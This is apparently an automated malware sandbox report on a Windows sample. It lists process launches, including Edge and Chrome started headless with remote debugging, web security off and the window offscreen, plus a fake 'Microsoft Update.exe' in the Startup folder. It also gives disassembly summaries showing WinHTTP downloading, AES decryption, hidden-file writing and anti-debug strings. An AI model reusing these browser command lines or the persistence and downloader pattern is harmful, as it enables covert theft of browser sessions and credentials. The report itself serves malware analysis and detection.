Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9953 --user-data-dir="C:\Users\user\AppData\Local\Microsoft\Edge\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:30:10
Start date:	14/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --ignore-certificate-errors --headless --disable-logging --mojo-platform-channel-handle=1984 --field-trial-handle=1924,i,337883984833686401,2949001340945337258,262144 --disable-features=IsolateOrigins,PaintHolding,site-per-process /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:30:52
Start date:	14/01/2025
Path:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe"
Imagebase:	0x7ff7b6860000
File size:	337'920 bytes
MD5 hash:	27A4EE022E76538E095FD1A9C5B7F615
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 3%, Virustotal, Browse
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	07:31:13
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9616 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:31:13
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --ignore-certificate-errors --headless --disable-logging --mojo-platform-channel-handle=1608 --field-trial-handle=1460,i,3805261518618613516,16454746265131865936,262144 --disable-features=IsolateOrigins,PaintHolding,site-per-process /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	07:31:38
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9540 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	07:31:38
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --ignore-certificate-errors --headless --disable-logging --mojo-platform-channel-handle=1624 --field-trial-handle=1464,i,729406190311024372,12238423268301362517,262144 --disable-features=IsolateOrigins,PaintHolding,site-per-process /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	18.8%
Total number of Nodes:	506
Total number of Limit Nodes:	42

Executed Functions

Function 00007FF6A7296414 Relevance: 119.3, APIs: 21, Strings: 47, Instructions: 294
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WinHttpCrackUrl.WINHTTP ref: 00007FF6A72964ED
WinHttpOpen.WINHTTP ref: 00007FF6A7296516
WinHttpConnect.WINHTTP ref: 00007FF6A7296540
WinHttpOpenRequest.WINHTTP ref: 00007FF6A7296588
WinHttpSendRequest.WINHTTP ref: 00007FF6A72965BB
WinHttpReceiveResponse.WINHTTP ref: 00007FF6A72965D5
WinHttpQueryDataAvailable.WINHTTP ref: 00007FF6A72965F9
WinHttpReadData.WINHTTP ref: 00007FF6A7296641
WinHttpCloseHandle.WINHTTP ref: 00007FF6A72966EA
WinHttpCloseHandle.WINHTTP ref: 00007FF6A72966FA
WinHttpCloseHandle.WINHTTP ref: 00007FF6A729670A
WinHttpCloseHandle.WINHTTP ref: 00007FF6A72967B6
WinHttpCloseHandle.WINHTTP ref: 00007FF6A72967E7
WinHttpCloseHandle.WINHTTP ref: 00007FF6A72967F7
WinHttpCloseHandle.WINHTTP ref: 00007FF6A7296825
WinHttpCloseHandle.WINHTTP ref: 00007FF6A7296835
WinHttpCloseHandle.WINHTTP ref: 00007FF6A7296845
WinHttpCloseHandle.WINHTTP ref: 00007FF6A7296876
WinHttpCloseHandle.WINHTTP ref: 00007FF6A7296886
WinHttpCloseHandle.WINHTTP ref: 00007FF6A7296896
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6A72968BA

Strings

GET, xrefs: 00007FF6A7296574
Failed to create directory on Desktop., xrefs: 00007FF6A7297446
svchost.hko, xrefs: 00007FF6A72979CC
ChainingMode, xrefs: 00007FF6A7297016
svchost.dll, xrefs: 00007FF6A729795D
WinHttpCrackUrl() failed., xrefs: 00007FF6A7296767
WinHttpSendRequest() failed., xrefs: 00007FF6A7296848
MyApp, xrefs: 00007FF6A7297EB0
Failed to find AddNumbers function., xrefs: 00007FF6A7297AEF
Failed to create hidden file., xrefs: 00007FF6A7296F5D
WinHttpReceiveResponse() failed., xrefs: 00007FF6A7296899
I,z1, xrefs: 00007FF6A7297663
Failed to set file attributes., xrefs: 00007FF6A7296DEA
AddNumbers function executed successfully!, xrefs: 00007FF6A7297AD2
[DEBUG] Successfully created and wrote to file: , xrefs: 00007FF6A7296D39
[ERROR] Failed to set attributes for file: , xrefs: 00007FF6A7296D9D
AddNumbers, xrefs: 00007FF6A7297AA9
Failed to load DLL., xrefs: 00007FF6A72989FD
\MyApp\, xrefs: 00007FF6A7297329
Failed to get AES key object size., xrefs: 00007FF6A7296B46
Failed to generate AES key., xrefs: 00007FF6A7296B7A
Failed to get Desktop directory., xrefs: 00007FF6A7297423
[ERROR] Error message: , xrefs: 00007FF6A7296F25
Failed to set AES chaining mode to CBC., xrefs: 00007FF6A72971CC
ObjectLength, xrefs: 00007FF6A729696B
Failed to generate symmetric key., xrefs: 00007FF6A7297200
[ERROR] Failed to create file: , xrefs: 00007FF6A7296EA3
[DEBUG] Desktop Directory: , xrefs: 00007FF6A72972CA
Downloaded file is empty!, xrefs: 00007FF6A7296746
Tnh n, xrefs: 00007FF6A7297C04
Failed to write to hidden file., xrefs: 00007FF6A7296E75
CustomDownloader/1.0, xrefs: 00007FF6A7296505
WinHttpConnect() failed., xrefs: 00007FF6A72967B9
WinHttpOpenRequest() failed., xrefs: 00007FF6A72967FA
Failed to set normal attributes for directory., xrefs: 00007FF6A7297400
ChainingModeCBC, xrefs: 00007FF6A729700F
0Xs, xrefs: 00007FF6A72975CD
Failed to determine plaintext size., xrefs: 00007FF6A7296BBF
Decryption and save completed successfully!, xrefs: 00007FF6A7297A10
Tnh n, xrefs: 00007FF6A729821B
No debugger detected. Application running normally., xrefs: 00007FF6A7297855
Failed to decrypt data., xrefs: 00007FF6A7296C00, 00007FF6A7297245
[ERROR] Failed to write to file: , xrefs: 00007FF6A7296E18
[ERROR] GetLastError() returned: , xrefs: 00007FF6A7296DC5, 00007FF6A7296E40, 00007FF6A7296ECB
WinHttpOpen() failed., xrefs: 00007FF6A7296788
Tnh n, xrefs: 00007FF6A7297F34
Failed to open AES algorithm provider., xrefs: 00007FF6A7296B12, 00007FF6A7297198

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: Http$CloseHandle$DataOpenRequest$AvailableConnectCrackQueryReadReceiveResponseSend_invalid_parameter_noinfo_noreturn
String ID: AddNumbers$AddNumbers function executed successfully!$ChainingMode$ChainingModeCBC$CustomDownloader/1.0$Decryption and save completed successfully!$Downloaded file is empty!$Failed to create directory on Desktop.$Failed to create hidden file.$Failed to decrypt data.$Failed to determine plaintext size.$Failed to find AddNumbers function.$Failed to generate AES key.$Failed to generate symmetric key.$Failed to get AES key object size.$Failed to get Desktop directory.$Failed to load DLL.$Failed to open AES algorithm provider.$Failed to set AES chaining mode to CBC.$Failed to set file attributes.$Failed to set normal attributes for directory.$Failed to write to hidden file.$GET$I,z1$MyApp$No debugger detected. Application running normally.$ObjectLength$Tnh n$Tnh n$Tnh n$WinHttpConnect() failed.$WinHttpCrackUrl() failed.$WinHttpOpen() failed.$WinHttpOpenRequest() failed.$WinHttpReceiveResponse() failed.$WinHttpSendRequest() failed.$[DEBUG] Desktop Directory: $[DEBUG] Successfully created and wrote to file: $[ERROR] Error message: $[ERROR] Failed to create file: $[ERROR] Failed to set attributes for file: $[ERROR] Failed to write to file: $[ERROR] GetLastError() returned: $\MyApp\$svchost.dll$svchost.hko$0Xs
API String ID: 3910513139-2077747964
Opcode ID: 1b4c4ff9e7200d99927411b608aa4930a59bec3034ddc74b8ca816d55b81f495
Instruction ID: 418966a4c5aeb97064c69bc72e0d7bcae7951957c30d49236516126997231185
Opcode Fuzzy Hash: 1b4c4ff9e7200d99927411b608aa4930a59bec3034ddc74b8ca816d55b81f495
Instruction Fuzzy Hash: 69C17E61B0A65385FB10DF61E9502B937A4FF94B88F440932EE1D87AADDE3CE945C340

Function 00007FF6A7296F80 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

BCryptOpenAlgorithmProvider.BCRYPT ref: 00007FF6A7296FFB
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF6A72971C9
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF6A72971FD
BCryptDestroyKey.BCRYPT ref: 00007FF6A729722F
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF6A7297242

Strings

AES, xrefs: 00007FF6A7296FE6
Failed to decrypt data., xrefs: 00007FF6A7297245
Failed to set AES chaining mode to CBC., xrefs: 00007FF6A72971CC
Failed to open AES algorithm provider., xrefs: 00007FF6A7297198
Failed to generate symmetric key., xrefs: 00007FF6A7297200

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: Crypt$AlgorithmProvider$Close$DestroyOpen
String ID: AES$Failed to decrypt data.$Failed to generate symmetric key.$Failed to open AES algorithm provider.$Failed to set AES chaining mode to CBC.
API String ID: 3555693613-3889393278
Opcode ID: b09d060d57c63fbeccef078fc0ded11bd3595961dfd68bc76aa2f7dbdfe73ee3
Instruction ID: 054b12644d3cee5737f4941c3506f6509c82eeb36c9515942284fb584adf0d73
Opcode Fuzzy Hash: b09d060d57c63fbeccef078fc0ded11bd3595961dfd68bc76aa2f7dbdfe73ee3
Instruction Fuzzy Hash: BC315B61B0994799EB10DF61E9500E92371EFA4788B404832EE1D9756DDE3CEA05C340

Function 00007FF6A7296C24 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 79
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

[ERROR] Failed to create file: , xrefs: 00007FF6A7296EA3
[DEBUG] Attempting to create file: , xrefs: 00007FF6A7296C47
Failed to create hidden file., xrefs: 00007FF6A7296F5D
[ERROR] GetLastError() returned: , xrefs: 00007FF6A7296ECB

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID:
String ID: Failed to create hidden file.$[DEBUG] Attempting to create file: $[ERROR] Failed to create file: $[ERROR] GetLastError() returned:
API String ID: 0-3721456611
Opcode ID: 3ac9992f2f33ba911e372b58a8337c3edaf37ccbac7a7498e6d3aa453241cdb0
Instruction ID: 7f205a97bece902116adbd833b5f2889f2cd6b356f06ee23b03711c73bb6464d
Opcode Fuzzy Hash: 3ac9992f2f33ba911e372b58a8337c3edaf37ccbac7a7498e6d3aa453241cdb0
Instruction Fuzzy Hash: 62317061F1AA0351FA50DF61EA547BA23A0FF647C8F440635E91DC7A9EDE3CE5058340

Function 00007FF6A729F128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6A729F158

Part of subcall function 00007FF6A729C654: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6A729C65D

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6A729F15E

Strings

ios_base::failbit set, xrefs: 00007FF6A729F128

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
String ID: ios_base::failbit set
API String ID: 1173176844-3924258884
Opcode ID: 7f972356caba1c6bdb07c48e5f4d72e4091e9a4580b60e2e920c8351403032ea
Instruction ID: 1f68e450b831a5c7afa5346afa632badac6851f474d348d775c4336160ff0aa0
Opcode Fuzzy Hash: 7f972356caba1c6bdb07c48e5f4d72e4091e9a4580b60e2e920c8351403032ea
Instruction Fuzzy Hash: 4EF08211E5B24781FE982F76AE421B401414F68370F2C2630DD7D853CAFD1CE4D68690

Function 00007FF6A729F28C Relevance: 4.6, APIs: 3, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6A729F450: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6A729F464

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6A729F2B0
__scrt_release_startup_lock.LIBCMT ref: 00007FF6A729F31E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF6A729F371

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: 39b793914c56a01c0d8cffe1dfdc88b4effed6a42e7826d470b252d6d25abb81
Instruction ID: 193430bd0def73b255527ccb8e31ce31153cb332b696755d20ba82cefde24754
Opcode Fuzzy Hash: 39b793914c56a01c0d8cffe1dfdc88b4effed6a42e7826d470b252d6d25abb81
Instruction Fuzzy Hash: DE315D21E0F28346FAA4AF659B513F92391AF61744F484035EA4DCB2EFDE2CF844C245

Function 00007FF6A72AC1B8 Relevance: 4.5, APIs: 3, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6A72AC1B6), ref: 00007FF6A72AC1C4
TerminateProcess.KERNEL32(?,?,?,00007FF6A72AC1B6), ref: 00007FF6A72AC1CF
ExitProcess.KERNEL32 ref: 00007FF6A72AC1DE

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 7ae68171be80bcada3e99a9d34dcec50cd9a77d51b10dfe604785166eaa259be
Instruction ID: c82d076b0ec29ce42eedd1765994866452c1acdf0211e7f411f39675d9b391de
Opcode Fuzzy Hash: 7ae68171be80bcada3e99a9d34dcec50cd9a77d51b10dfe604785166eaa259be
Instruction Fuzzy Hash: DAD0C959F0A70347FB282F706E9517A1259AFA9712F00283CC80FC635BCD6EB88C4302

Function 00007FF6A729342C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6A7293110: SHGetFolderPathW.SHELL32 ref: 00007FF6A7293158

CopyFileW.KERNELBASE ref: 00007FF6A72934DD

Strings

\Microsoft Update.exe, xrefs: 00007FF6A729349B

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: CopyFileFolderPath
String ID: \Microsoft Update.exe
API String ID: 2821930423-4110175011
Opcode ID: e1960483e9bf8846b3c8b43d1bb3e79196a5fb84ae549e545f4b593de43179e2
Instruction ID: 8ef1f571634daf3fed7be2599cb81175d9b816435ec5d2085f86d7683651d294
Opcode Fuzzy Hash: e1960483e9bf8846b3c8b43d1bb3e79196a5fb84ae549e545f4b593de43179e2
Instruction Fuzzy Hash: A621B123606B41D8EB20DF61D5902E933A4FB58388F855532EA5D87B9EDF38E644C700

Function 00007FF6A72B0FF8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FF6A72B1115

Strings

AppPolicyGetProcessTerminationMethod, xrefs: 00007FF6A72B11C7, 00007FF6A72B11D5

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: ProtectVirtual
String ID: AppPolicyGetProcessTerminationMethod
API String ID: 544645111-2031265017
Opcode ID: cf06f54f65223b30d1ed38a6448db2896151323244bc339d851ac3423a39440e
Instruction ID: fb5b0cfc3d68cece74b90031279da2a07d4dade21fb85fbba549a1ae0ff5b9bf
Opcode Fuzzy Hash: cf06f54f65223b30d1ed38a6448db2896151323244bc339d851ac3423a39440e
Instruction Fuzzy Hash: 6111D021B0A64A52EA248F92AA405B52351FB987B5F548730EE3C877D9CF3CF58AC300

Function 00007FF6A7292EA4 Relevance: 3.0, APIs: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6A7292ED9
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6A7292EDF

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: a194a70a435d94963801cc77b69bb2aee12c71a5cfe7fca752199d332ac51b30
Instruction ID: c88a9820d745176c132e56c8b22383dda6cd78ca2c12e6f3b42af11f58bb27bb
Opcode Fuzzy Hash: a194a70a435d94963801cc77b69bb2aee12c71a5cfe7fca752199d332ac51b30
Instruction Fuzzy Hash: 5AE04F51E0770781EC54EB51DAC216C21948F19334E940B35E63C857CEED6DB9D24241

Function 00007FF6A72AEC00 Relevance: 3.0, APIs: 2, Instructions: 19
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,?,00007FF6A72ADEA3,00007FF6A72B97F6,?,?,?,00007FF6A72B9B73,?,?,00000000,00007FF6A72BA0F9,?,?,?,00007FF6A72BA02B), ref: 00007FF6A72AEC16
GetLastError.KERNEL32(?,?,00007FF6A72ADEA3,00007FF6A72B97F6,?,?,?,00007FF6A72B9B73,?,?,00000000,00007FF6A72BA0F9,?,?,?,00007FF6A72BA02B), ref: 00007FF6A72AEC20

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 8f18e09e4d3f459fcebb6190283a93ec5630748711a7e27dc7ed95d1a752b9d3
Instruction ID: 27196840502dfe7d9d79a8910840d8ff74ee8278e2052026acca75d4ce2aa366
Opcode Fuzzy Hash: 8f18e09e4d3f459fcebb6190283a93ec5630748711a7e27dc7ed95d1a752b9d3
Instruction Fuzzy Hash: C0E0C251F0B20383FF296FF29A4917621A5AFA8B01F044830C90DC325BEE3CB8468218

Function 00007FF6A729BB8C Relevance: 1.7, APIs: 1, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6A729BD81

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
